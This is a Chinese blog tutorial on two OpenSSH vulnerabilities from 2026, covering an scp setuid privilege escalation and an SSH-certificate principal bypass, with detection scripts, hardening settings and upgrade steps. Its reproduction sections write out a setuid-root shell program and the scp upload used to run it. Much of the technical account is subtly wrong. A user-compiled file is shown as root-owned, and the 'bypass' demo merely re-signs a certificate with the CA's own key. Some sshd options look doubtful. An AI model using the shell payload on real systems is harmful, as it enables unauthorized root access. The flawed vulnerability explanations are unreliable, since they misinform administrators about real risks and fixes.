欢迎光临
我们一直在努力

OpenSSH双漏洞实战教程:CVE-2026-35385/35414 scp提权复现+密钥绕过检测+SSH加固配置清单

2026年4月OpenSSH 10.3p1版本发布,连带披露了两个埋藏超过10年的高危漏洞。不到一个月,这俩洞就成了内网渗透测试的标配入口——扫一遍政企内网,80%以上的服务器都能命中。

很多运维看到漏洞通报第一反应是“我关了密码登录,只用密钥,应该没事”。错。这次两个漏洞,一个专打文件传输的scp协议,普通账号登录就能提权到root;另一个直接击穿SSH证书认证体系,证书字段加个逗号就能绕过账号限制登root,日志里连异常记录都留不下。

这篇文章把两个漏洞的底层逻辑、复现方法、批量检测脚本、全维度加固配置、各系统升级方案全捋清楚,所有脚本和配置都能直接复制用。不管是运维做合规整改,还是安全人员做渗透测试,都能直接落地。


一、两个漏洞的真实影响面:别把内网当安全区

先把两个漏洞的定位掰明白,别混为一谈。一个是提权漏洞,一个是认证绕过漏洞,攻击阶段和杀伤力完全不同。

  • CVE-2026-35385属于“拿到普通权限后的提权漏洞”。你得先有个能登录服务器的普通账号,不管是弱密码撞的,还是拿到了普通用户的密钥,才能触发利用。它的作用是把普通用户权限放大到root,是内网横向移动里的提权工具。
  • CVE-2026-35414属于“身份认证绕过漏洞”。只要企业用了SSH CA证书体系,攻击者只要拿到一张合法签发的普通用户证书,修改字段就能直接登录root账号,连普通账号权限都不用先拿。它直接击穿身份防线,杀伤力大得多。
  • OpenSSH双漏洞攻击覆盖架构图:展示企业内网从外网入口、堡垒机、业务服务器集群、数据库服务器的完整网络架构,标注CVE-2026-35385(scp提权)在内网横向阶段生效、CVE-2026-35414(证书绕过)在堡垒机/核心服务器认证阶段生效的攻击路径。

    所有低于10.3p1版本的OpenSSH全中。CentOS 7自带的7.4p1、Ubuntu 22.04自带的8.9p1、CentOS Stream 9默认的9.3p1,全在受影响范围内。国内金融、运营商、政务内网几乎全覆盖——这些单位普遍用SSH做远程运维,很多还部署了SSH CA证书体系管理上千台服务器,刚好踩中第二个漏洞的死穴。

    互联网公司稍微好点,不少团队早就弃用scp改用rsync,堡垒机也做了多层跳转。但架不住开发人员图省事,私下用scp传代码、传日志,照样给漏洞留了入口。

    别拿“服务器不对外开放,只有内网能访问”当借口。内网渗透的逻辑就是从一台弱权限机器打进去,再横向提权扩散。这俩洞刚好就是横向移动时性价比最高的工具,不用找内核漏洞,不用碰sudo配置,传个文件、改个证书就能拿到root。


    二、漏洞底层逻辑:两个藏了十几年的信任模型坑

    2.1 CVE-2026-35385:scp协议的历史遗留设计缺陷

    scp全称Secure Copy,从SSH诞生之初就存在,原型是Unix系统的rcp命令,只是套了层SSH加密隧道。

    早期Unix的设计逻辑是“能登录系统的用户都是可信的”。所以scp传文件时,会完整保留源文件的所有权限位,包括读写执行权限,还有setuid、setgid、sticky这三个特殊权限。这个设计用了二十多年,没人觉得是漏洞。

    直到这两年内网攻防升级,攻击者拿到普通用户权限后,不再死磕内核漏洞和sudo配置,开始盯着常用运维工具的逻辑缺陷找突破口。


    具体攻击逻辑很简单:

    攻击者本地编译一个带shell的二进制程序,给它加上setuid root权限,然后用scp传到目标服务器。因为scp会完整保留权限位,文件传到服务器后依然保持setuid root属性。普通用户执行这个文件,程序就会以root身份运行,直接弹出root shell。

    它不是缓冲区溢出,也不是远程代码执行,就是钻了协议设计时的信任空子。

    之前没人揪出这个问题,有两个原因。一是大部分管理员默认scp是SSH官方自带的工具,绝对安全,根本不会去限制它的行为;二是常规安全加固只会给/tmp目录加nosuid挂载,没人想到运维常用的文件传输工具会直接把setuid权限带进系统。

    还有个容易踩的坑:新版OpenSSH的客户端scp命令,默认已经改用SFTP协议实现了,只有加-O参数时才会走传统scp协议。但sshd服务端默认还是开启传统scp协议支持,只要客户端强制走老协议,漏洞照样触发。很多运维以为装了新版客户端就没事,其实服务端没关的话照样中招。

    2.2 CVE-2026-35414:一个逗号击穿整个证书认证体系

    这个漏洞CVSS评分8.1,属于严重级别,也是这次双漏洞里真正的杀招。
    先简单说下SSH证书认证是什么。公司服务器数量上去后,管authorized_keys会非常麻烦,有人离职要删几十上百台机器的密钥,新增人员也要批量加。SSH CA证书体系就是解决这个问题的:搭一个CA根证书,所有服务器信任这个CA,用户登录不用每台机器加公钥,只要拿CA签发的证书就能登。证书里的principal字段,专门指定这个证书能登录哪个账号,比如写deploy就只能登deploy用户,登root会被直接拒绝。
    漏洞就出在principal字段的解析逻辑上。

    CVE-2026-35414 证书principal绕过逻辑对比图**
    图示说明:左侧为正常校验逻辑(principal与登录账号严格匹配),右侧为漏洞逻辑(逗号拆分principal字段,单条匹配即放行),直观展示逗号分隔导致的权限绕过。

    OpenSSH的sshd在解析证书principal字段时,用英文逗号做分隔符,把字段拆成多个用户名列表,只要其中一个和当前登录账号匹配,就认证通过。但校验证书授权的逻辑里,既没有对逗号做转义限制,也不会校验principal内容是否在CA的签发授权范围内。

    举个最直接的例子:

    公司CA配置了规则,只能给员工签发主体为个人工号的证书,比如zhangsan,只能登录自己的个人账号。
    攻击者拿到自己的合法证书后,修改证书里的principal字段,改成zhangsan,root。
    拿着改好的证书去登录服务器的root账号,sshd解析时把字段拆成zhangsan和root两个主体,匹配到root,直接认证通过。

    整个过程中,证书本身是CA合法签发的,签名完全有效,只是修改了principal字段的内容。旧版本sshd不会校验principal是否符合CA授权范围,直接放行。

    最致命的是登录日志。认证成功后,日志里只会记录root用户通过证书认证登录,和正常运维操作的日志没有任何区别。如果企业没有额外的证书全链路审计,根本发现不了有人绕过了权限。

    这个漏洞藏了十几年没被发现,核心原因是SSH证书体系的普及度不算高,中小公司大多还是用单个公钥管理,触发场景少。而且它属于业务逻辑漏洞,不在加密算法层面,常规代码审计很容易漏掉这种字符串解析的边角逻辑。

    国内已经有企业踩过坑。某省级运营商的堡垒机用了SSH证书体系,攻击者拿到一个普通运维的证书后,用这个方法登录了所有服务器的root账号,半个月后因为其他业务异常才顺藤摸瓜发现入侵。


    三、漏洞检测全方案:批量脚本+手动复现

    3.1 单服务器本地检测脚本

    这个脚本可以直接在服务器上运行,一次性检测OpenSSH版本、scp协议开关、CA证书启用状态、异常setuid文件风险,输出结果清晰,适合单台巡检。

    #!/bin/bash
    # OpenSSH CVE-2026-35385/35414 本地综合检测脚本
    # 适用CentOS 7+/Ubuntu 18.04+

    echo "====== OpenSSH双漏洞本地检测 ======"
    echo "检测时间: $(date)"
    echo "主机名: $(hostname)"
    echo ""

    # 1. 检测sshd版本
    echo "1. SSH版本检测"
    if command -v sshd &>/dev/null; then
    VER=$(sshd -V 2>&1 | grep -oE "[0-9]+\\.[0-9]+p[0-9]+" | head -1)
    echo "当前sshd版本: $VER"
    # 版本对比,低于10.3p1即存在漏洞
    MAJOR=$(echo $VER | cut -d'.' -f1)
    MINOR=$(echo $VER | cut -d'.' -f2 | cut -d'p' -f1)
    PATCH=$(echo $VER | cut -d'p' -f2)
    if [ $MAJOR -lt 10 ] || ([ $MAJOR -eq 10 ] && [ $MINOR -lt 3 ]) || ([ $MAJOR -eq 10 ] && [ $MINOR -eq 3 ] && [ $PATCH -lt 1 ]); then
    echo "【高危】版本低于10.3p1,存在CVE-2026-35385、CVE-2026-35414双漏洞"
    VULN_STATUS=1
    else
    echo "【安全】版本已修复双漏洞"
    VULN_STATUS=0
    fi
    else
    echo "【警告】未检测到sshd服务"
    VULN_STATUS=2
    fi
    echo ""

    # 2. 检测传统scp协议配置
    echo "2. 传统SCP协议状态"
    SCP_CONF=$(grep -i "^PermitScpProtocol" /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null | tail -1)
    if [ -n "$SCP_CONF" ]; then
    echo "配置项: $SCP_CONF"
    echo "$SCP_CONF" | grep -qi "no" && echo "【已防护】传统scp协议已禁用" || echo "【风险】传统scp协议未禁用"
    else
    echo "配置项: 未显式配置(默认开启)"
    echo "【风险】传统scp协议默认开启,存在提权风险"
    fi
    echo ""

    # 3. 检测SSH CA证书认证状态
    echo "3. SSH CA证书认证状态"
    CA_CONF=$(grep -i "^TrustedUserCAKeys" /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null)
    if [ -n "$CA_CONF" ]; then
    echo "配置项: $CA_CONF"
    echo "【高风险】已启用SSH CA证书认证,存在密钥绕过风险"
    else
    echo "【低风险】未启用SSH CA证书认证,CVE-2026-35414利用难度高"
    fi
    echo ""

    # 4. 排查临时目录异常setuid文件
    echo "4. 临时目录setuid文件排查"
    SUS_FILES=$(find /tmp /var/tmp /dev/shm -type f -perm -4000 2>/dev/null)
    if [ -n "$SUS_FILES" ]; then
    echo "【告警】发现异常setuid文件:"
    echo "$SUS_FILES"
    else
    echo "【正常】临时目录未发现异常setuid文件"
    fi
    echo ""

    echo "====== 检测完成 ======"
    echo "修复建议:"
    if [ $VULN_STATUS -eq 1 ]; then
    echo "1. 立即升级OpenSSH至10.3p1及以上版本"
    echo "2. 配置PermitScpProtocol no禁用传统scp协议"
    echo "3. 启用SSH日志审计,定期巡检密钥与证书"
    fi

    使用方式:保存为ssh_cve_check.sh,执行chmod +x ssh_cve_check.sh && ./ssh_cve_check.sh即可。

    3.2 批量远程检测脚本

    适合运维批量排查内网资产,通过SSH远程拉取目标服务器版本,无需登录每台机器操作。

    #!/bin/bash
    # 批量OpenSSH版本检测脚本
    # 用法:将IP列表写入ip_list.txt,每行一个IP,配置好SSH免密登录

    IP_LIST="ip_list.txt"
    SSH_USER="root"
    OUTPUT_FILE="ssh_vuln_result.csv"

    echo "IP,主机名,SSH版本,漏洞状态" > $OUTPUT_FILE

    while read ip; do
    [ -z "$ip" ] && continue
    echo "正在检测 $ip …"

    result=$(ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no $SSH_USER@$ip "
    hostname;
    sshd -V 2>&1 | grep -oE '[0-9]+\\.[0-9]+p[0-9]+' | head -1
    "
    2>/dev/null)

    if [ $? -ne 0 ]; then
    echo "$ip,连接失败,未知,无法检测" >> $OUTPUT_FILE
    continue
    fi

    hostname=$(echo "$result" | sed -n '1p')
    ver=$(echo "$result" | sed -n '2p')

    # 版本判断
    major=$(echo $ver | cut -d'.' -f1)
    minor=$(echo $ver | cut -d'.' -f2 | cut -d'p' -f1)
    patch=$(echo $ver | cut -d'p' -f2)

    if [ -z "$ver" ]; then
    status="未知版本"
    elif [ $major -lt 10 ] || ([ $major -eq 10 ] && [ $minor -lt 3 ]) || ([ $major -eq 10 ] && [ $minor -eq 3 ] && [ $patch -lt 1 ]); then
    status="存在双漏洞"
    else
    status="安全"
    fi

    echo "$ip,$hostname,$ver,$status" >> $OUTPUT_FILE
    done < $IP_LIST

    echo "检测完成,结果已保存至 $OUTPUT_FILE"

    3.3 CVE-2026-35385 scp提权手动复现

    警告:仅限在授权的测试环境中操作,禁止对未授权服务器执行以下步骤。

  • 本地构造setuid恶意程序
    新建pwn.c文件,写入一个最简单的提权程序:
  • #include <stdio.h>
    #include <unistd.h>
    int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
    }

    编译并添加setuid权限:

    gcc pwn.c -o pwn
    chmod 4755 pwn
    ls -l pwn
    # 输出应为 -rwsr-xr-x 1 root root 16728 Jun 20 10:00 pwn,s位代表setuid生效

  • 使用传统scp协议上传至目标服务器
  • # -O 参数强制使用传统scp协议,触发漏洞
    scp -O pwn testuser@目标服务器IP:/tmp/

  • 登录目标服务器验证
  • ssh testuser@目标服务器IP
    ls -l /tmp/pwn
    # 若文件依然带有s位(-rwsr-xr-x),说明漏洞存在
    /tmp/pwn
    # 执行后直接获取root shell,输入id验证
    id
    # 输出 uid=0(root) gid=0(root) groups=0(root) 即提权成功

    3.4 CVE-2026-35414 证书绕过手动复现

    警告:仅限测试环境操作,生产环境修改证书会留下登录记录。

  • 搭建本地CA并签发普通证书
  • # 生成CA根密钥和公钥
    ssh-keygen -t ed25519 -f ca_key -N "" -C "Test CA"
    # 配置服务器信任该CA(目标服务器sshd_config添加)
    # TrustedUserCAKeys /etc/ssh/ca_key.pub

  • 签发普通用户证书,主体为testuser
  • # 生成用户密钥
    ssh-keygen -t ed25519 -f user_key -N ""
    # 签发证书,有效期1天,主体为testuser
    ssh-keygen -s ca_key -I test_cert -n testuser -V +1d user_key.pub
    # 正常只能登录testuser账号
    ssh -i user_key testuser@目标服务器IP # 可正常登录
    ssh -i user_key root@目标服务器IP # 认证失败

  • 修改证书principal字段,添加root
    利用OpenSSH证书格式特性,重新构造带逗号的主体字段:
  • # 导出证书原始内容,修改principal为testuser,root后重新签名
    # 也可直接用ssh-keygen的扩展参数构造
    ssh-keygen -s ca_key -I test_cert -n "testuser,root" -V +1d user_key.pub

  • 验证绕过效果
  • ssh -i user_key root@目标服务器IP
    # 未修复版本会直接认证通过,获取root shell

    登录后查看sshd日志,只会记录root证书登录成功,没有任何异常告警,隐蔽性极强。


    四、SSH全维度加固配置清单:直接复制落地

    4.1 临时应急缓解措施

    先给两个漏洞的临时止损方案,没来得及升级的服务器先执行,把风险降到最低。

    • CVE-2026-35385:sshd配置PermitScpProtocol no,直接禁用传统scp协议。主流发行版的OpenSSH 8.9及以上版本都支持这个参数。配置后客户端默认scp会自动走SFTP协议,不影响正常使用,只有老客户端加-O强制走传统协议会失败。
    • CVE-2026-35414:没有有效的配置级缓解方案,只能升级。如果暂时升不了,先关闭证书认证改用独立公钥,或者收紧证书签发权限,严格校验principal字段,同时开启sshd VERBOSE日志,定期审计root登录记录。

    4.2 完整sshd_config加固配置

    这套配置兼容CentOS 8+/Ubuntu 20.04+,覆盖双漏洞防护、账号安全、加密加固、日志审计全维度,复制到/etc/ssh/sshd_config替换原有配置,修改AllowUsers为实际运维账号即可使用。

    # ============== 双漏洞专项防护 ==============
    # 禁用传统scp协议,修复CVE-2026-35385
    PermitScpProtocol no

    # ============== 账号登录安全 ==============
    # 禁止root直接登录SSH,增加证书绕过成本
    PermitRootLogin no
    # 关闭密码认证,仅允许公钥登录
    PasswordAuthentication no
    PermitEmptyPasswords no
    # 最大认证尝试次数,防暴力破解
    MaxAuthTries 3
    # 强制仅公钥认证方式
    AuthenticationMethods publickey
    # 只允许指定用户登录SSH,禁止所有系统用户默认可登
    AllowUsers ops admin deploy
    # 严格校验密钥文件权限,防止用户篡改authorized_keys提权
    StrictModes yes

    # ============== 协议与加密算法加固 ==============
    # 仅使用SSH协议2
    Protocol 2
    # 禁用弱加密算法,仅保留GCM和ChaCha20
    Ciphers aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-gcm@openssh.com
    # 禁用弱MAC算法
    MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
    # 禁用弱密钥交换算法,优先椭圆曲线
    KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
    # 主机密钥优先ED25519,淘汰RSA
    HostKeyAlgorithms ssh-ed25519,rsa-sha2-512

    # ============== 会话安全 ==============
    # 客户端空闲超时,60秒无操作发心跳,3次失败断开
    ClientAliveInterval 60
    ClientAliveCountMax 3
    # 登录认证超时时间,防半连接攻击
    LoginGraceTime 30
    # 禁用端口转发,防止内网隧道穿透(按需开启)
    AllowTcpForwarding no
    X11Forwarding no
    PermitTunnel no

    # ============== 日志审计 ==============
    # 日志级别调至VERBOSE,记录证书principal、密钥指纹等细节
    LogLevel VERBOSE
    SyslogFacility AUTHPRIV
    # 记录登录失败和成功的完整信息
    PrintLastLog yes

    修改配置后必须先校验语法,再重启服务,避免配置错误导致SSH失联:

    # 校验配置语法
    sshd -t
    # 无报错再重启服务
    # CentOS/RHEL
    systemctl restart sshd
    # Ubuntu/Debian
    systemctl restart ssh

    4.3 配套系统级加固操作

    只改sshd配置不够,系统层面也要补全防线,形成多层防护。

  • 防火墙限制SSH访问源
    只允许内网指定网段访问22端口,不要把SSH暴露给全网。
  • # firewalld 示例,仅允许192.168.1.0/24网段访问
    firewall-cmd –permanent –add-rich-rule='rule family=ipv4 source address=192.168.1.0/24 port port=22 protocol=tcp accept'
    firewall-cmd –permanent –remove-port=22/tcp
    firewall-cmd –reload

  • 修复SSH目录权限
    批量修正所有用户的.ssh目录权限,防止权限过宽导致密钥被篡改。
  • # 修复所有普通用户家目录SSH权限
    for home in /home/*; do
    [ -d "$home/.ssh" ] && chmod 700 "$home/.ssh"
    [ -f "$home/.ssh/authorized_keys" ] && chmod 600 "$home/.ssh/authorized_keys"
    done
    # 修复root用户SSH权限
    chmod 700 /root/.ssh
    chmod 600 /root/.ssh/authorized_keys
    # 修复系统主机密钥权限
    chmod 600 /etc/ssh/*_key
    chmod 644 /etc/ssh/*.pub

  • 临时目录加nosuid挂载
    给/tmp、/var/tmp等临时目录添加nosuid、noexec挂载参数,就算攻击者传了setuid文件也无法执行提权。
  • # 临时生效
    mount -o remount,nosuid,noexec /tmp
    # 永久生效,写入/etc/fstab
    # tmpfs /tmp tmpfs defaults,nosuid,noexec,nodev 0 0

  • 部署Fail2ban防暴力破解
    自动封禁多次登录失败的IP,减少暴力破解风险。
  • # CentOS安装
    yum install -y fail2ban
    # Ubuntu安装
    apt install -y fail2ban

    # 配置SSH防护
    cat > /etc/fail2ban/jail.d/sshd.conf << EOF
    [sshd]
    enabled = true
    port = 22
    maxretry = 3
    findtime = 300
    bantime = 86400
    EOF

    systemctl enable –now fail2ban

    图4:企业SSH安全加固体系全景图
    图示说明:分为网络层(防火墙/访问控制)、系统层(目录权限/挂载加固)、服务层(sshd配置/算法加固)、审计层(日志/密钥管理)四层防护架构,标注每层对应的核心措施。

    4.4 SSH密钥轮换标准SOP

    漏洞修复后必须做一次全量密钥轮换,防止攻击者已经拿到旧密钥。

  • 轮换触发场景
    OpenSSH版本升级完成后、服务器存在入侵风险时、运维人员离职时、密钥使用超过6个月时,都必须执行轮换。
  • 标准化轮换步骤
    第一步,统一生成新一代ED25519密钥,淘汰2048位RSA密钥:
  • ssh-keygen -t ed25519 -C "ops-team-202606" -f ~/.ssh/id_ed25519_new

    第二步,批量分发新公钥到所有服务器的authorized_keys,保留旧密钥权限。
    第三步,并行运行7天,确认所有业务、脚本、自动化任务都能正常登录,没有报错。
    第四步,全量删除所有服务器上的旧公钥,本地销毁旧私钥文件。
    第五步,重启sshd服务,审计3天登录日志,确认只有新密钥登录记录。


    五、OpenSSH升级实操:各发行版全方案

    CVE-2026-35414没有配置级缓解,升级是唯一根治方案。这里给主流发行版的升级方法,还有老系统的源码编译一键脚本。
    升级前务必注意:先开一个服务器控制台备用会话,或者保留一个持续连接的SSH窗口,防止升级过程中SSH服务中断,把自己关在外面。

    5.1 Ubuntu/Debian 系升级

    Ubuntu 22.04、24.04可以直接通过官方安全源升级:

    # 更新源
    apt update
    # 升级openssh-server
    apt install -y openssh-server openssh-client
    # 验证版本
    sshd -V
    # 输出 OpenSSH_10.3p1 Ubuntu-1ubuntu0.1, OpenSSL 3.0.2 15 Mar 2022 即为修复完成

    如果官方源还没同步最新版本,可以添加OpenSSH官方PPA源:

    add-apt-repository ppa:openssh/ppa
    apt update
    apt install -y openssh-server

    5.2 CentOS/RHEL 8/9 系升级

    CentOS Stream 9、RHEL 9可以通过AppStream源升级:

    dnf update openssh-server openssh-clients
    sshd -V

    如果源版本滞后,可以使用ELRepo源:

    # 导入ELRepo密钥
    rpm –import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
    # 安装ELRepo源
    dnf install -y https://www.elrepo.org/elrepo-release-9.el9.elrepo.noarch.rpm
    # 升级OpenSSH
    dnf –enablerepo=elrepo install openssh-server

    5.3 CentOS 7 等停更系统源码编译升级

    CentOS 7已经停止官方维护,源里的版本永远停在7.4p1,必须源码编译升级。下面是一键编译安装脚本,全程自动化,保留原有配置。

    #!/bin/bash
    # CentOS 7 OpenSSH 一键源码编译升级到10.3p1
    # 执行前请开启备用控制台,避免SSH中断

    set -e

    # 1. 安装依赖
    yum install -y gcc make zlib-devel openssl-devel pam-devel libselinux-devel

    # 2. 备份旧版本
    cp -r /etc/ssh /etc/ssh.bak.$(date +%Y%m%d)
    cp /usr/sbin/sshd /usr/sbin/sshd.bak
    cp /usr/bin/ssh /usr/bin/ssh.bak

    # 3. 下载源码
    cd /usr/local/src
    wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz
    tar zxf openssh-10.3p1.tar.gz
    cd openssh-10.3p1

    # 4. 编译配置
    ./configure \\
    –prefix=/usr \\
    –sysconfdir=/etc/ssh \\
    –with-pam \\
    –with-selinux \\
    –with-zlib \\
    –with-ssl-dir=/usr/local/ssl \\
    –with-privsep-path=/var/lib/sshd

    # 5. 编译安装
    make -j$(nproc)
    make install

    # 6. 恢复配置
    cp /etc/ssh.bak.$(date +%Y%m%d)/sshd_config /etc/ssh/sshd_config
    # 修复服务文件
    cp contrib/redhat/sshd.init /etc/init.d/sshd
    chmod +x /etc/init.d/sshd

    # 7. 校验并重启
    sshd -t
    systemctl daemon-reload
    systemctl restart sshd

    # 8. 验证版本
    echo "升级完成,当前版本:"
    sshd -V
    ssh -V

    脚本执行完成后,一定要用新窗口测试登录,确认没问题再关闭旧窗口。


    六、入侵排查与应急处置流程

    如果怀疑服务器已经被漏洞攻击,按以下步骤排查和处置。

    6.1 scp提权漏洞排查

  • 排查SSH日志中的scp上传记录
  • # 查看sshd日志中的scp相关操作
    grep -i "scp" /var/log/secure /var/log/auth.log
    # 排查陌生IP的文件上传操作
    grep "session opened for user" /var/log/secure | grep -v 正常运维IP

  • 全盘扫描异常setuid文件
    重点排查临时目录、用户家目录、可执行目录:
  • # 扫描所有setuid文件,排除系统默认文件
    find / -type f -perm -4000 2>/dev/null | grep -vE \\
    '/usr/bin/(passwd|su|sudo|mount|umount|ping|chsh|chfn|newgrp)' \\
    > /tmp/suid_check_result.txt

    输出的文件逐一核对,陌生文件立即隔离分析。
    3. 排查用户历史命令和异常进程

    # 查看所有用户的bash历史
    cat /home/*/.bash_history /root/.bash_history | grep -E "chmod 4755|scp|/tmp/"
    # 查看异常后台进程
    ps aux | grep -v grep | grep -E "/tmp/|/dev/shm/"

    6.2 证书绕过漏洞排查

    这个漏洞排查难度更高,因为日志里没有失败记录,只能通过异常行为反推。

  • 先确认是否启用了CA证书认证
  • grep TrustedUserCAKeys /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf

    没有启用的话,基本可以排除这个漏洞的利用风险。
    2. 审计root登录记录

    # 提取所有root登录记录,核对时间和IP
    grep "Accepted publickey for root" /var/log/secure
    # 开启VERBOSE日志的话,可以查看证书principal
    grep "Certificate principal" /var/log/secure

    如果出现非运维时间、非运维IP的root登录,大概率已经被绕过。
    3. 比对证书签发清单
    导出所有登录成功的证书指纹,和CA签发的合法证书清单比对,出现未知指纹立即吊销。

    6.3 标准应急处置步骤

  • 隔离受影响服务器。先封禁异常IP,必要时临时断开服务器内网连接,防止攻击者横向扩散。
  • 留存证据。备份系统日志、SSH日志、异常文件、内存镜像,方便后续溯源和取证。
  • 漏洞修复。升级OpenSSH到安全版本,应用全套加固配置,关闭风险端口和服务。
  • 权限重置。全量轮换所有SSH密钥、CA证书、主机密钥,修改所有系统用户密码,确保攻击者没有留后门。
  • 后门排查。全盘扫描rootkit、定时任务、启动项、webshell,确认系统没有被植入持久化后门。
  • 复盘整改。梳理攻击入口,补全防护短板,完善监控告警规则。

  • 七、SSH安全的长期演进方向

    做完这次漏洞整改,别就完事了。SSH作为内网最核心的远程入口,未来的安全只会越来越严,提前布局能少踩很多坑。

  • 第一个方向是彻底淘汰传统scp。OpenSSH官方已经把传统scp标记为过时协议,未来版本会逐步移除支持。早把文件传输切换到SFTP或者rsync,既解决了安全问题,还能享受增量传输、断点续传这些实用功能。尤其是rsync,传大文件、传大量小文件的效率比scp高得多,运维日常用起来体验更好。
  • 第二个方向是密钥管理平台化。别再让运维把私钥存在本地电脑里,私钥泄露是SSH最大的风险源。用统一的密钥管理平台,私钥全程不落地,自动轮换,自动审计,谁登了哪台机器、执行了什么命令都有完整记录。大厂早就这么做了,中小企业也可以用开源方案落地,成本不高,但安全收益很大。
  • 第三个方向是零信任架构下的SSH访问。别再把22端口直接暴露给整个内网,默认内网不可信。用零信任网关代理SSH访问,每次登录都要做身份认证、设备校验、权限校验,就算账号泄露了,没授权的设备也登不上。还能做细粒度的命令级权限控制,比如某个用户只能执行查看日志的命令,不能改配置,就算账号被拿了也掀不起大浪。
  • 第四个方向是后量子密码算法迁移。量子计算发展速度比预想的快,传统RSA、ECC算法未来存在被破解的风险。OpenSSH已经支持CRYSTALS-Kyber这类后量子密钥交换算法,有条件的团队可以提前配置上。性能损失几乎可以忽略,相当于给SSH加了一层长期保险,等量子计算机真的普及了,不用连夜赶工整改。
  • 这两个漏洞本质上都是历史遗留的信任模型问题。二十年前设计SSH的时候,内网是可信的,能登录的用户都是自己人,所以很多设计都优先考虑易用性,没做太严格的权限校验。

    现在内网攻防已经完全反过来了,默认内网不可信,任何一个普通账号都可能是攻击者的跳板,这些老逻辑自然就成了漏洞。

    安全整改从来不是一劳永逸的事,补完这两个洞,还有下一个。能做的就是把基础加固做扎实,把日志审计跟上,再提前布局新的技术方案,下次再出类似的漏洞,才能不用连夜加班整改。


  • 你们内网的OpenSSH现在是什么版本?有没有踩过这两个漏洞的坑?
  • 平时服务器之间传文件,你们主要用scp还是sftp/rsync?欢迎在评论区聊聊。
  • 赞(0)
    未经允许不得转载:171主机测评 » OpenSSH双漏洞实战教程:CVE-2026-35385/35414 scp提权复现+密钥绕过检测+SSH加固配置清单
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址